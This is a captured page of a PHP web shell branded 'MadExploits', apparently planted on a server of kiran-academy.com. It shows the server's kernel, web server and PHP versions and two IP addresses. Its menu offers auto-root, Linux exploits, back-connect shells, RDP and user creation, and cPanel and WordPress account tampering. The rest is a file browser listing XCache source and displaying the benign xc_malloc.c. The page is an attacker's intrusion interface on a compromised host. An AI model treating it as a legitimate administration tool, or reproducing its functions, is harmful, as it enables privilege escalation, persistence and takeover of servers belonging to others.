Linux server.kiran-academy.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
: 194.233.91.196 | : 216.73.216.216
Cant Read [ /etc/named.conf ]
7.4.32
finalho
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
local /
src /
xcache-3.2.0 /
xcache /
[ HOME SHELL ]
Name
Size
Permission
Action
.libs
[ DIR ]
drwxr-xr-x
README
15
B
-rw-rw-r--
xc_allocator.c
2.72
KB
-rw-rw-r--
xc_allocator.h
2.91
KB
-rw-rw-r--
xc_allocator.lo
322
B
-rw-r--r--
xc_allocator_bestfit.c
7.7
KB
-rw-rw-r--
xc_allocator_bestfit.lo
338
B
-rw-r--r--
xc_compatibility.c
726
B
-rw-rw-r--
xc_compatibility.h
8.2
KB
-rw-rw-r--
xc_compatibility.lo
330
B
-rw-r--r--
xc_const_string.c
2.21
KB
-rw-rw-r--
xc_const_string.h
270
B
-rw-rw-r--
xc_const_string.lo
328
B
-rw-r--r--
xc_const_string_opcodes_php4.x...
2.51
KB
-rw-rw-r--
xc_const_string_opcodes_php5.0...
3.36
KB
-rw-rw-r--
xc_const_string_opcodes_php5.1...
3.37
KB
-rw-rw-r--
xc_const_string_opcodes_php5.2...
3.37
KB
-rw-rw-r--
xc_const_string_opcodes_php5.3...
3.5
KB
-rw-rw-r--
xc_const_string_opcodes_php5.4...
3.62
KB
-rw-rw-r--
xc_const_string_opcodes_php5.5...
3.75
KB
-rw-rw-r--
xc_const_string_opcodes_php5.6...
3.84
KB
-rw-rw-r--
xc_const_string_opcodes_php6.x...
3.62
KB
-rw-rw-r--
xc_extension.c
1.77
KB
-rw-rw-r--
xc_extension.h
578
B
-rw-rw-r--
xc_extension.lo
322
B
-rw-r--r--
xc_ini.c
606
B
-rw-rw-r--
xc_ini.h
457
B
-rw-rw-r--
xc_ini.lo
310
B
-rw-r--r--
xc_malloc.c
5.37
KB
-rw-rw-r--
xc_mutex.c
8.2
KB
-rw-rw-r--
xc_mutex.h
546
B
-rw-rw-r--
xc_mutex.lo
314
B
-rw-r--r--
xc_opcode_spec.c
1.27
KB
-rw-rw-r--
xc_opcode_spec.h
905
B
-rw-rw-r--
xc_opcode_spec.lo
326
B
-rw-r--r--
xc_opcode_spec_def.h
20.75
KB
-rw-rw-r--
xc_processor.c
28
B
-rw-rw-r--
xc_processor.lo
322
B
-rw-r--r--
xc_sandbox.c
13.57
KB
-rw-rw-r--
xc_sandbox.h
1.01
KB
-rw-rw-r--
xc_sandbox.lo
318
B
-rw-r--r--
xc_shm.c
2.01
KB
-rw-rw-r--
xc_shm.h
2.16
KB
-rw-rw-r--
xc_shm.lo
310
B
-rw-r--r--
xc_shm_mmap.c
6.65
KB
-rw-rw-r--
xc_shm_mmap.lo
320
B
-rw-r--r--
xc_utils.c
16.71
KB
-rw-rw-r--
xc_utils.h
2.43
KB
-rw-rw-r--
xc_utils.lo
314
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : xc_malloc.c
#define XC_SHM_IMPL _xc_malloc_shm_t #define _xc_allocator_t _xc_allocator_malloc_t #include <stdlib.h> #include <stdio.h> #include <string.h> #include "xc_shm.h" #include "xc_allocator.h" #ifndef TEST #include "xcache.h" #endif #include "util/xc_align.h" struct _xc_allocator_malloc_t { const xc_allocator_vtable_t *vtable; xc_shm_t *shm; xc_memsize_t size; xc_memsize_t avail; /* total free */ }; /* {{{ _xc_malloc_shm_t */ struct _xc_malloc_shm_t { xc_shm_handlers_t *handlers; xc_shmsize_t size; xc_shmsize_t memoffset; #ifndef TEST HashTable blocks; #endif }; /* }}} */ #ifndef TEST # define CHECK(x, e) do { if ((x) == NULL) { zend_error(E_ERROR, "XCache: " e); goto err; } } while (0) #else # define CHECK(x, e) do { if ((x) == NULL) { fprintf(stderr, "%s\n", "XCache: " e); goto err; } } while (0) #endif static void *xc_add_to_blocks(xc_allocator_t *allocator, void *p, size_t size) /* {{{ */ { if (p) { allocator->avail -= size; #ifndef TEST zend_hash_add(&allocator->shm->blocks, (void *) &p, sizeof(p), (void *) &size, sizeof(size), NULL); #endif } return p; } /* }}} */ static void xc_del_from_blocks(xc_allocator_t *allocator, void *p) /* {{{ */ { #ifdef TEST /* TODO: allocator->avail += size; */ #else zend_hash_del(&allocator->shm->blocks, (void *) &p, sizeof(p)); #endif } /* }}} */ static XC_ALLOCATOR_MALLOC(xc_allocator_malloc_malloc) /* {{{ */ { if (allocator->avail < size) { return NULL; } return xc_add_to_blocks(allocator, malloc(size), size); } /* }}} */ static XC_ALLOCATOR_FREE(xc_allocator_malloc_free) /* {{{ return block size freed */ { xc_del_from_blocks(allocator, (void *) p); free((void *) p); return 0; } /* }}} */ static XC_ALLOCATOR_CALLOC(xc_allocator_malloc_calloc) /* {{{ */ { if (allocator->avail < size) { return NULL; } return xc_add_to_blocks(allocator, calloc(memb, size), size); } /* }}} */ static XC_ALLOCATOR_REALLOC(xc_allocator_malloc_realloc) /* {{{ */ { return xc_add_to_blocks(allocator, realloc((void *) p, size), size); } /* }}} */ static XC_ALLOCATOR_AVAIL(xc_allocator_malloc_avail) /* {{{ */ { return allocator->avail; } /* }}} */ static XC_ALLOCATOR_SIZE(xc_allocator_malloc_size) /* {{{ */ { return allocator->size; } /* }}} */ static XC_ALLOCATOR_FREEBLOCK_FIRST(xc_allocator_malloc_freeblock_first) /* {{{ */ { return (void *) -1; } /* }}} */ static XC_ALLOCATOR_FREEBLOCK_NEXT(xc_allocator_malloc_freeblock_next) /* {{{ */ { return NULL; } /* }}} */ static XC_ALLOCATOR_BLOCK_SIZE(xc_allocator_malloc_block_size) /* {{{ */ { return 0; } /* }}} */ static XC_ALLOCATOR_BLOCK_OFFSET(xc_allocator_malloc_block_offset) /* {{{ */ { return 0; } /* }}} */ static XC_ALLOCATOR_INIT(xc_allocator_malloc_init) /* {{{ */ { #define MINSIZE (ALIGN(sizeof(xc_allocator_t))) /* requires at least the header and 1 tail block */ if (size < MINSIZE) { fprintf(stderr, "xc_allocator_malloc_init requires %lu bytes at least\n", (unsigned long) MINSIZE); return NULL; } allocator->shm = shm; allocator->size = size; allocator->avail = size - MINSIZE; #undef MINSIZE return allocator; } /* }}} */ static XC_ALLOCATOR_DESTROY(xc_allocator_malloc_destroy) /* {{{ */ { } /* }}} */ static XC_SHM_CAN_READONLY(xc_malloc_can_readonly) /* {{{ */ { return 0; } /* }}} */ static XC_SHM_IS_READWRITE(xc_malloc_is_readwrite) /* {{{ */ { #ifndef TEST HashPosition pos; size_t *psize; char **ptr; zend_hash_internal_pointer_reset_ex(&shm->blocks, &pos); while (zend_hash_get_current_data_ex(&shm->blocks, (void **) &psize, &pos) == SUCCESS) { zend_hash_get_current_key_ex(&shm->blocks, (void *) &ptr, NULL, NULL, 0, &pos); if ((char *) p >= *ptr && (char *) p < *ptr + *psize) { return 1; } zend_hash_move_forward_ex(&shm->blocks, &pos); } #endif return 0; } /* }}} */ static XC_SHM_IS_READONLY(xc_malloc_is_readonly) /* {{{ */ { return 0; } /* }}} */ static XC_SHM_TO_READWRITE(xc_malloc_to_readwrite) /* {{{ */ { return p; } /* }}} */ static XC_SHM_TO_READONLY(xc_malloc_to_readonly) /* {{{ */ { return p; } /* }}} */ static XC_SHM_DESTROY(xc_malloc_destroy) /* {{{ */ { #ifndef TEST zend_hash_destroy(&shm->blocks); #endif free(shm); return; } /* }}} */ static XC_SHM_INIT(xc_malloc_init) /* {{{ */ { xc_shm_t *shm; CHECK(shm = calloc(1, sizeof(xc_shm_t)), "shm OOM"); shm->size = size; #ifndef TEST zend_hash_init(&shm->blocks, 64, NULL, NULL, 1); #endif return shm; err: return NULL; } /* }}} */ static XC_SHM_MEMINIT(xc_malloc_meminit) /* {{{ */ { void *mem; if (shm->memoffset + size > shm->size) { #ifndef TEST zend_error(E_ERROR, "XCache: internal error at %s#%d", __FILE__, __LINE__); #endif return NULL; } shm->memoffset += size; CHECK(mem = calloc(1, size), "mem OOM"); return mem; err: return NULL; } /* }}} */ static XC_SHM_MEMDESTROY(xc_malloc_memdestroy) /* {{{ */ { free(mem); } /* }}} */ static xc_allocator_vtable_t xc_allocator_malloc_vtable = XC_ALLOCATOR_VTABLE(allocator_malloc); #ifndef TEST static xc_shm_handlers_t xc_shm_malloc_handlers = XC_SHM_HANDLERS(malloc); #endif void xc_allocator_malloc_register() /* {{{ */ { if (xc_allocator_register("malloc", &xc_allocator_malloc_vtable) == 0) { #ifndef TEST zend_error(E_ERROR, "XCache: failed to register malloc mem_scheme"); #endif } } /* }}} */ #ifndef TEST void xc_shm_malloc_register() /* {{{ */ { if (xc_shm_scheme_register("malloc", &xc_shm_malloc_handlers) == 0) { zend_error(E_ERROR, "XCache: failed to register malloc shm_scheme"); } } /* }}} */ #endif
Close